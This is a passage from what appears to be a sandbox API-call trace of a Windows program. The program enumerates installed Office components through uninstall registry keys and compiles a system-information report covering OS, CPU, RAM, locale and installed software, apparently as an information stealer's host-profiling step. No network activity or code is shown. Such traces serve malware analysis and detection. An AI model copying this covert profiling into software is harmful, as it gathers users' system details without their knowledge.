2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n") returned 2039 [0261.848] LocalAlloc (uFlags=0x40, uBytes=0x116c) returned 0x6f5678 [0261.849] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.849] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.851] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.851] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.851] LocalFree (hMem=0x6bec00) returned 0x0 [0261.851] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.851] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x23, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-001F-040C-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.852] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-001F-040C-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.852] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.852] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.852] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Outils de vérification linguistique 2016 de Microsoft Office - Français", lpcbData=0x24fac4*=0x90) returned 0x0 [0261.852] LocalAlloc (uFlags=0x40, uBytes=0x2120) returned 0x6f67f0 [0261.852] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.853] StrStrW (lpFirst="Outils de vérification linguistique 2016 de Microsoft Office - Français", lpSrch="16.0.4266.1001") returned 0x0 [0261.853] wsprintfW (in: param_1=0x6f67f0, param_2="\x09%s %s\n" | out: param_1="\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n") returned 88 [0261.853] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n", lpSrch="\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n") returned 0x0 [0261.853] lstrlenW (lpString="\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n") returned 88 [0261.853] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n") returned 2102 [0261.853] LocalAlloc (uFlags=0x40, uBytes=0x121c) returned 0x6e5058 [0261.854] LocalFree (hMem=0x6f67f0) returned 0x0 [0261.854] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.854] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.854] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.855] LocalFree (hMem=0x6bec00) returned 0x0 [0261.855] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.855] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x24, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-001F-0C0A-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.855] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-001F-0C0A-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.855] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.855] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.855] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Herramientas de corrección de Microsoft Office 2016: español", lpcbData=0x24fac4*=0x7a) returned 0x0 [0261.856] LocalAlloc (uFlags=0x40, uBytes=0x20f4) returned 0x6f35b0 [0261.856] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.856] StrStrW (lpFirst="Herramientas de corrección de Microsoft Office 2016: español", lpSrch="16.0.4266.1001") returned 0x0 [0261.856] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n") returned 77 [0261.856] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n", lpSrch="\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n") returned 0x0 [0261.856] lstrlenW (lpString="\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n") returned 77 [0261.856] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n") returned 2190 [0261.856] LocalAlloc (uFlags=0x40, uBytes=0x12b6) returned 0x6f56b0 [0261.857] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.857] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.859] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.859] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.859] LocalFree (hMem=0x6bec00) returned 0x0 [0261.859] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.860] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x25, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-002C-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.860] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-002C-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.860] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.860] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.860] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Office Proofing (English) 2016", lpcbData=0x24fac4*=0x52) returned 0x0 [0261.860] LocalAlloc (uFlags=0x40, uBytes=0x20a4) returned 0x6f35b0 [0261.860] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.860] StrStrW (lpFirst="Microsoft Office Proofing (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.860] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n") returned 57 [0261.860] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n", lpSrch="\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.861] lstrlenW (lpString="\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n") returned 57 [0261.861] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n") returned 2267 [0261.861] LocalAlloc (uFlags=0x40, uBytes=0x1328) returned 0x6e5058 [0261.862] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.862] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.863] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.863] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.863] LocalFree (hMem=0x6bec00) returned 0x0 [0261.863] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.863] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x26, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0044-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.863] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-0044-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.863] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.864] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.864] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft InfoPath MUI (English) 2016", lpcbData=0x24fac4*=0x4c) returned 0x0 [0261.864] LocalAlloc (uFlags=0x40, uBytes=0x2098) returned 0x6f35b0 [0261.864] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.864] StrStrW (lpFirst="Microsoft InfoPath MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.864] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n") returned 54 [0261.864] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 